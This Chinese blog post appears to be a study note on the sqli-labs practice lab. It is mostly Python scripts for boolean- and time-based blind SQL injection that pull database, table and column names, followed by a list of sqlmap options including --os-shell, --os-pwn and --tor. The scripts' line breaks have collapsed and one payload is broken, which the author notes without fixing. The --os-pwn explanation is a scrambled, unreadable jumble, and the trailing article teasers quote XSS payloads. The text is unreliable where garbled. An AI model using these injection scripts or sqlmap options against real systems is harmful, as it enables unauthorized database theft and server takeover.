SQL布尔盲注+时间盲注
1.布尔盲注
双重for循环
import requestsurl = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'def database_name():datebasename = ''for i in range(1, 9): # 假设数据库名称最多8个字符for j in range(32, 128): # ascii 可见字符范围从32到127payload = f"?id=1' AND ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {j}-- "res = requests.get(url + payload)if res.status_code == 200: # 确保请求成功if "You are in..........." in res.text: # 这个字符串是针对成功响应的标志datebasename += chr(j)print(f"正在构建数据库名称: {datebasename}")break # 找到当前字符后跳出内层循环,继续下一个字符的查找print(f"数据库名称是: {datebasename}")# 调用函数
database_name()

二分查找
import requestsurl = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'#mysql中的substr(string,start,dugt)三个参数分别是被截取的字符串,起始位置,截取长度
def database_name():datebasename = ''for i in range(1, 9): # 假设数据库名称最多8个字符start = 32end = 128while start <= end: #起始端等于终止端时命中middle = (start + end) // 2payload = f"?id=1' and ascii(substr(database(), {i}, 1)) > {middle}-- "res = requests.get(url + payload)if res.status_code == 200: # 确保请求成功,这个属性可以拿到页面返回的状态码if "You are in..........." in res.text: # 这个字符串是针对成功响应的标志start = middle + 1 # 大于的情况下,证明目标字符在后半段else:end = middle - 1 # 小于的情况证明目标字符在前半段if start > end:datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1print(f"数据库名称是: {datebasename}")database_name()#mysql中的if(string,one,two)当string为真执行one,否则执行two
#在MySQL默认数据库information_schema的表tables中字段table_name存有表的名称,前面的table_schema字段是数据库对应名称
#mysql中limit 5,1,第一个表示从第几行开始,是开区间会从第6行开始,第二个参数表示返回的行数,如果只有一个参数,会默认从第一行返回对应行数
def table_name():tablename = ''for i in range(1,20):start = 32end = 128while start <= end:middle = (start + end) // 2payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)) > {middle}-- "res = requests.get(url + payload)#通过调整limit的参数可以把数据库的所有表名拿到if res.status_code == 200: # 确保请求成功,这个属性可以拿到页面返回的状态码if "You are in..........." in res.text: # 这个字符串是针对成功响应的标志start = middle + 1 # 大于的情况下,证明目标字符在后半段else:end = middle - 1 # 小于的情况证明目标字符在前半段if start > end:tablename = tablename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1print(f"表名称是: {tablename}")
table_name()#在MySQL默认数据库里information_schema的表columns中字段column_name存有字段名称,前面的table_name字段是对应的表名
def column_name():columnname = ''for i in range(1,20):start = 32end = 128while start <= end:middle = (start + end) // 2payload = f"?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle}-- "res = requests.get(url + payload)if res.status_code == 200:if "You are in..........." in res.text: # 这个字符串是针对成功响应的标志start = middle + 1 # 大于的情况下,证明目标字符在后半段else:end = middle - 1 # 小于的情况证明目标字符在前半段if start > end:columnname += chr(start)print(f"字段名是:{columnname}")
column_name()

2.时间盲注
二分查找
import timeimport requestsurl = 'http://127.0.0.1/sqli-labs-master/Less-9/index.php'#mysql中if函数有三个参数,第一个是子表达式,第二个是子表达式为真时返回的结果,第三个是为假返回的结果
def database_name():datebasename = ''for i in range(1, 9): # 假设数据库名称最多8个字符start = 32end = 128while start <= end: #起始端等于终止端时命中middle = (start + end) // 2payload = f"?id=1' and if(ascii(substr(database(),{i},1)) > {middle},sleep(2),1)-- "start_time = time.time()res = requests.get(url + payload)end_time = time.time()if res.status_code == 200: # 确保请求成功,这个属性可以拿到页面返回的状态码if (end_time - start_time) >= 2: # 这个时间差证明满足条件start = middle + 1 # 大于的情况下,证明目标字符在后半段else:end = middle - 1 # 小于的情况证明目标字符在前半段if start > end:datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1print(f"数据库名称是: {datebasename}")database_name()def table_name():tablename = ''for i in range(1, 20):start = 32end = 126while start <= end:middle = (start + end) // 2payload = f"?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{i},1) > {middle},sleep(2),1)-- "start_time = time.time()res = requests.get(url + payload)end_time = time.time()if res.status_code == 200:if (end_time - start_time) >= 2:start = middle + 1else:end = middle - 1if start > end:if middle == 0:breaktablename += chr(start)print(f"表名称是: {tablename}")table_name()def column_name():columnname = ''for i in range(1, 20):start = 32end = 128while start <= end:middle = (start + end) // 2payload = f"?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle},sleep(2),1)-- "start_time = time.time()res = requests.get(url + payload)end_time = time.time()if res.status_code == 200:if (end_time - start_time) >= 2:start = middle + 1else:end = middle - 1if start > end:if middle == 0:breakcolumnname += chr(start)print(f"字段名是: {columnname}")column_name()

这里的表名反复看了,没有发现问题在哪里,就是为空,无论我怎么该limit的范围,通过navigat查看数据库,不应该是这样的,等解决了会修改文章
3.SQLmap
- 通用参数
- -h,显示帮助情况
- -hh,显示高级帮助信息
- --version,显示版本信息
- -v verbose,设置输出的详细程度,范围为0,6,默认为1,越高越多
- 目标参数
- -u URL,指定目标URL,如果使用Linux测试Windows靶场,地址为192.168.X.1,不要用127.0.0.1
- -g :处理Google Dork 结果作为目标URL
- Google Dork 是什么?
- 就是Google搜索的语法,在信息收集案例.md里有
- Google Dork 是什么?
- 请求参数
- --data=data:通过POST请求发送的数据字符串,例如"id=1"
- --cookie=COOKIE:设置http请求头中的cookie
- --random-agent:随机选择一个http user-agent头部来伪装请求。
- --proxy=proxy:使用代理服务器连接目标URL,代理格式为http://ip:port
- --tor:通过tor网络匿名连接
Tor(The Onion Router)是一种用于实现匿名通信的自由软件,由美国非盈利组织The Tor Project, Inc开发与维护
Tor的名称来源于“洋葱路由”(The Onion Router)的缩写,其核心技术是通过多层加密和多跳代理来保护用户的隐私和匿名性
- --check-tor:检查是否正确使用tor网络
- 注入参数
- -p :指定要测试的参数,可以是一个或多个。例如:-p id,会测试id参数
- --dbms=DBMS:强制设置后台数据库管理系统,例如MySQL或PostgreSQL
- 检测参数
- --level=level:设置测试的级别,默认是1,范围1~5,越大越强
- --risk=risk:设置风险等级,范围1~3,默认值1,越大风险越高
- 技术参数
- --technique=THCH:指定使用的SQL注入技术,默认是"BEUSTQ",B是布尔盲注,E报错注入,U是联合查询
- 枚举参数
- -a,检索所有信息
- -b,获取数据库横幅信息
- --current-user:获取当前的DBMS用户信息
- --current-db:获取当前的DBMS数据库名称
- --passwords:枚举DBMS用户的密码哈希
- --dbs:枚举DBMS中的所有数据库
- --tables:枚举数据库中的所有表
- --columns:枚举表中的字段
- --schema:枚举DBMS的所有模式
- --dump:转储(导出)数据库中的数据
- --dump-all:导出所有数据库数据
- -D:指定数据库
- -T:指定表
- -C:指定列
- 操作系统访问参数
- --os-shell:打开一个交互式操作系统shell,这就是into outfile,需要三条件
- --os-pwn:获取反向shell或者连接
--os---poswn-pwn 参数在 参数 是sql sqlmapmap 提 中供是的一一个种强功能大的,用功能于,它通过允许 SQL攻击 注者入通过漏洞 SQL获取 注目标入系统漏洞的在操作目标系统数据库权限所在。的它服务器利用上数据库执行管理操作系统系统(命DBMS令)的漏洞执行恶,意甚至命获得令,反向通常 shell通过(数据库例如的:扩通过展 Net功能cat( 或如 Meter preterxp _cmdshell连接到 或攻击其他者系统的存机器储)。过程这一)攻击来方式触不发需要命目标令用户执行点击,从链接而,而是建立通过一个数据库反权限向、 shell。配置攻击或漏洞者执行可以恶通过意该命反令向。
- 通用参数
- --batch:自动使用默认行为,不需要输入
- --flush-session:清空当前连接
相关文章:
SQL布尔盲注+时间盲注
1.布尔盲注 双重for循环 import requestsurl http://127.0.0.1/sqli-labs-master/Less-8/index.phpdef database_name():datebasename for i in range(1, 9): # 假设数据库名称最多8个字符for j in range(32, 128): # ascii 可见字符范围从32到127payload f"?id1 A…...
2024-2025年主流的开源向量数据库推荐
以下是2024-2025年主流的开源向量数据库推荐,涵盖其核心功能和应用场景: 1. Milvus 特点:专为大规模向量搜索设计,支持万亿级向量数据集的毫秒级搜索,适用于图像搜索、聊天机器人、化学结构搜索等场景。采用无状态架…...
Mysql中使用sql语句生成雪花算法Id
🍓 简介:java系列技术分享(👉持续更新中…🔥) 🍓 初衷:一起学习、一起进步、坚持不懈 🍓 如果文章内容有误与您的想法不一致,欢迎大家在评论区指正🙏 🍓 希望这篇文章对你有所帮助,欢…...
MySQL - 索引 - 介绍
索引(Index)是帮助数据库高效获取数据的数据结构. 结构 语法 创建索引 creat [unique] index 索引名 on 表名 (字段名, ...); //创建唯一索引时加上unique, 多个字段用逗号隔开 查看索引 show index from 表名; 删除索引 drop index 索引名 on 表名;...
XSS 常用标签及绕过姿势总结
XSS 常用标签及绕过姿势总结 一、xss 常见标签语句 0x01. 标签 <a href"javascript:alert(1)">test</a> <a href"x" onfocus"alert(xss);" autofocus"">xss</a> <a href"x" onclickeval(&quo…...
Springboot中添加原生websocket支持
1、添加配置 Configuration EnableWebSocket public class WebSocketConfig implements WebSocketConfigurer {Overridepublic void registerWebSocketHandlers(WebSocketHandlerRegistry registry) {// 注册WebSocket处理器,并允许所有来源的连接(在生…...
财务主题数据分析-企业盈利能力分析
企业盈利能力数据主要体现在财务三张表中的利润表里面,盈利能力需要重点需要关注的指标有:毛利率、净利率、净利润增长率、营业成本增长率等; 接下来我们分析一下某上市公司披露的财务数据,看看该企业盈利能力如何: …...
你需要了解的远程登录协议——Telnet
你需要了解的远程登录协议——Telnet 一. 什么是Telnet?二. Telnet的优缺点三. Telnet vs SSH:哪一个更适合?四. Telnet的应用场景 前言 点个免费的赞和关注,有错误的地方请指出,看个人主页有惊喜。 作者:神…...
Git -> Git配置密钥对,并查看公钥
Git密钥对的核心作用 私钥 (id_rsa) 你的数字身份证:存放在本机 ~/.ssh 目录下必须严格保密(类似银行卡密码),不可泄露或共享用于 解密 来自服务器的加密信息 公钥 (id_rsa.pub) 可公开的验证锁:需要上传到 Git 服…...
web逆向企鹅音乐,下载歌手歌单音乐
声明: 该文章为学习使用,严禁用于商业用途和非法用途,违者后果自负,由此产生的一切后果均与作者无关 下载资源链接:https://download.csdn.net/download/randy521520/90374039 一、找出需要加密的参数 1.js运行 atob…...
stm32 lwip tcp服务端频繁接收连接失效问题解决(tcp_recved)
一、问题描述 最近用stmf429单片机作为TCP服务端遇到一个问题,就是客户端特别频繁的发送消息,过一段时间以后,客户端的请求不再被客户端接收到,而且服务器端监控的掉线回调函数也不会被调用,好像这个连接就凭空的消失…...
Python Pandas(7):Pandas 数据清洗
数据清洗是对一些没有用的数据进行处理的过程。很多数据集存在数据缺失、数据格式错误、错误数据或重复数据的情况,如果要使数据分析更加准确,就需要对这些没有用的数据进行处理。数据清洗与预处理的常见步骤: 缺失值处理:识别并…...
【重构谷粒商城】06:Maven快速入门教程
重构谷粒商城06——Maven快速入门教程 前言:这个系列将使用最前沿的cursor作为辅助编程工具,来快速开发一些基础的编程项目。目的是为了在真实项目中,帮助初级程序员快速进阶,以最快的速度,效率,快速进阶到…...
Elasticsearch:同义词在 RAG 中重要吗?
作者:来自 Elastic Jeffrey Rengifo 及 Toms Mura 探索 RAG 应用程序中 Elasticsearch 同义词的功能。 同义词允许我们使用具有相同含义的不同词语在文档中搜索,以确保用户无论使用什么确切的词语都能找到他们所寻找的内容。你可能会认为,由于…...
React 低代码项目:组件设计
React 低代码项目:组件设计 Date: February 6, 2025 React表单组件 **目标:**使用 Ant Design 表单组件,开发登录、注册、搜索功能 内容: 使用 React 表单组件、受控组件使用 Ant Design 表单组件使用 表单组件的校验和错误提…...
从0到1的回溯算法学习
回溯算法 前言这个算法能帮我们做啥算法模版力扣例题( 以下所有题目代码都经过力扣认证 )形式一 元素无重不可复选46.全排列思路详解代码 77.组合思路详解代码 78.子集思路详解代码 形式二 元素可重不可复选思考(deepseek)核心思想…...
24、深度学习-自学之路-卷积神经网络
一、你怎么理解卷积神经网络呢,我的理解是当你看一个东西的时候,你的眼睛距离图片越近,你看到的东西就越清晰,但是如果你看到的图片只是整个物体的一小部分,那么你将不知道你看到的物品是什么,因为关注整体…...
AVL树:高效平衡的二叉搜索树
🌟 快来参与讨论💬,点赞👍、收藏⭐、分享📤,共创活力社区。🌟 引言🤔 在数据结构的奇妙世界里,二叉搜索树(BST)原本是查找数据的好帮手。想象一下…...
RHCA练习5:配置mysql8.0使用PXC实现高可用
准备4台CentOS7的虚拟机(CentOS7-1、CentOS7-2、CentOS7-3、CentOS7-4) 备份原yum源的配置: mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 更换阿里云镜像YUM源: curl -o /etc/yum.repos.…...
若输入超过 5 位数个时,推荐使用 scanf 输入数据。
【知识点】 在 C 中,当需要处理超过 5 位数个输入时,推荐使用 scanf 而不是 cin 输入数据。 这是因为 scanf 通常比 cin 更快。 另外,若整数超过 10 位,选择用 long long 型,而不是 int 型。 【参考文献】 https://b…...
Java 大视界 -- 边缘计算与 Java 大数据协同发展的前景与挑战(85)
💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也…...
Android 原生层SurfaceView截屏
背景:flutter嵌入原生view时,原生view使用的surfaveview,导致下面两种方法无法正常使用。 导致flutter无法通过id找到RenderRepaintBoundary的toImage来抓取widget,原生层无法通过view去获取Bitmap 方案:使用PixelCopy…...
机器学习 - 理论和定理
在机器学习中,有一些非常有名的理论或定理,对理解机器学习的内在特性非常有帮助。本文列出机器学习中常用的理论和定理,并举出对应的举例子加以深化理解,有些理论比较抽象,我们可以先记录下来,慢慢啃&#…...
2025.2.11——一、[极客大挑战 2019]PHP wakeup绕过|备份文件|代码审计
题目来源:BUUCTF [极客大挑战 2019]PHP 目录 一、打开靶机,整理信息 二、解题思路 step 1:目录扫描、爆破 step 2:代码审计 1.index.php 2.class.php 3.flag.php step 3:绕过__wakeup重置 编辑 三、小结…...
读取本地excel删除第一行,并生成List数组
在 pom.xml 里添加如下依赖: <dependencies><dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>5.2.3</version></dependency><dependency><groupId>org.ap…...
Vivado生成edif网表及其使用
介绍如何在Vivado中将模块设为顶层,并生成相应的网表文件(Verilog文件和edif文件),该过程适用于需要将一个模块作为顶层设计进行综合,并生成用于其他工程中的网表文件的情况。 例如要将fpga_top模块制作成网表给其它工…...
JAVA生产环境(IDEA)排查死锁
使用 IntelliJ IDEA 排查死锁 IntelliJ IDEA 提供了强大的工具来帮助开发者排查死锁问题。以下是具体的排查步骤: 1. 编写并运行代码 首先,我们编写一个可能导致死锁的示例代码: public class DeadlockExample {private static final Obj…...
Mac 下使用多版本 Node
一、导读 使用 n 实现 Mac 下 Nodejs 的多版本切换,需要先安装一个版本的 Node.js,然后使用 npm 安装 n,再通过 n 管理 node 的多版本切换。 二、使用 npm 全局安装 n sudo npm install -g n 三、根据需求安装指定版本的 node sudo -E n…...
AI学习记录 - 最简单的专家模型 MOE
代码 import torch import torch.nn as nn import torch.nn.functional as F from typing import Tupleclass BasicExpert(nn.Module):# 一个 Expert 可以是一个最简单的, linear 层即可# 也可以是 MLP 层# 也可以是 更复杂的 MLP 层(active function 设…...
【2025深度学习系列专栏大纲:深入探索与实践深度学习】
第一部分:深度学习基础篇 第1章:深度学习概览 1.1 深度学习的历史背景与发展轨迹 1.2 深度学习与机器学习、传统人工智能的区别与联系 1.3 深度学习的核心组件与概念解析 神经网络基础 激活函数的作用与类型 损失函数与优化算法的选择 1.4 深度学习框架简介与选择建议 第2…...
